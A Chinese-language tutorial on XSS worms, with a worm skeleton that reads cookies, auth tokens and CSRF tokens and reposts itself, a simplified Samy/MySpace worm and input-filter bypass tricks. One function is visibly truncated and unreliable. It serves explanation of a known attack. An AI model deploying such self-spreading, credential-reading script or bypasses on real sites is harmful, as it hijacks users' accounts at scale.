1. XSS蠕虫简介

XSS蠕虫是一种能够自我复制和传播的恶意JavaScript代码。它利用存储型XSS漏洞,在用户访问被感染页面时自动执行,并将自身代码注入到其他用户的数据中,形成链式传播。

危害特征

  • 自动传播:无需人工干预,指数级扩散
  • 影响范围广:可在短时间内感染大量用户
  • 难以追踪:传播源头难以定位
  • 持续性强:清除困难,易复发

2. 蠕虫传播原理

2.1 传播流程

// XSS蠕虫传播流程示意
// 第一步:受害者A访问被感染页面
访问者A -> 被感染的页面 -> 执行恶意代码

// 第二步:恶意代码获取A的身份信息
恶意代码 -> 读取Cookie/Token -> 获得A的权限

// 第三步:使用A的身份发布蠕虫代码
恶意代码 -> 以A身份发帖/评论 -> 注入蠕虫代码

// 第四步:其他用户B访问A发布的内容
访问者B -> 查看A的内容 -> 再次执行蠕虫代码

// 循环传播:B重复上述过程感染C、D、E...

2.2 核心技术要素

// XSS蠕虫核心代码结构
var worm = {
    // 1. 自我复制:获取自身代码
    getSelfCode: function() {
        // 从DOM中提取自身脚本
        var scripts = document.getElementsByTagName('script');
        for(var i = 0; i < scripts.length; i++) {
            if(scripts[i].innerHTML.indexOf('worm') > -1) {
                return scripts[i].innerHTML;
            }
        }
    },
    
    // 2. 权限获取:读取用户凭证
    getCredentials: function() {
        return {
            cookie: document.cookie,
            token: localStorage.getItem('auth_token'),
            csrf: document.querySelector('meta[name="csrf-token"]').content
        };
    },
    
    // 3. 传播功能:发布带蠕虫的内容
    spread: function(code, creds) {
        var payload = '';
        
        // 使用AJAX以用户身份发帖
        fetch('/api/post/create', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
                'X-CSRF-Token': creds.csrf,
                'Cookie': creds.cookie
            },
            body: JSON.stringify({
                content: '看看这个有趣的内容!' + payload,
                visibility: 'public'
            })
        });
    },
    
    // 4. 执行传播
    execute: function() {
        var selfCode = this.getSelfCode();
        var creds = this.getCredentials();
        this.spread(selfCode, creds);
    }
};

// 自动执行
worm.execute();

3. 经典案例:Samy蠕虫

3.1 事件背景

2005年10月4日,Samy Kamkar创建了互联网历史上第一个XSS蠕虫,攻击目标是当时最流行的社交网络MySpace。在不到20小时内,超过100万用户被感染。

Samy蠕虫时间线

  • 0小时:Samy发布第一个被感染的个人页面
  • 8小时:感染用户超过10,000人
  • 16小时:感染用户超过500,000人
  • 20小时:感染突破1,000,000人,MySpace紧急下线

3.2 技术原理

// Samy蠕虫简化版核心代码
var samy = {
    // 获取当前用户ID
    getUserId: function() {
        return document.URL.match(/\/profile\/(\d+)/)[1];
    },
    
    // 添加Samy为好友
    addFriend: function() {
        var http = new XMLHttpRequest();
        http.open('POST', '/api/addfriend', true);
        http.send('friendID=11851658'); // Samy的ID
    },
    
    // 在个人资料中写入"but most of all, samy is my hero"
    updateProfile: function() {
        var heroText = 'but most of all, samy is my hero';
        var wormCode = this.getWormCode();
        
        var http = new XMLHttpRequest();
        http.open('POST', '/api/updateprofile', true);
        http.send('bio=' + encodeURIComponent(heroText + wormCode));
    },
    
    // 获取蠕虫代码(使用巧妙的编码绕过过滤)
    getWormCode: function() {
        // 将';
    },
    
    // 执行蠕虫
    init: function() {
        // 避免感染Samy自己
        if(this.getUserId() != '11851658') {
            this.addFriend();
            this.updateProfile();
        }
    }
};

// 页面加载后自动执行
window.onload = function() {
    samy.init();
};

3.3 绕过技术

MySpace对用户输入进行了过滤,但Samy使用了多种绕过技术:

// 1. CSS表达式注入(IE浏览器特性)
<div style="background:url('javascript:eval(String.fromCharCode(...))')">

// 2. 拆分关键字
var tag = 'scr' + 'ipt';
document.write('<' + tag + '>...</' + tag + '>');

// 3. 使用ASCII编码
String.fromCharCode(60,115,99,114,105,112,116,62) //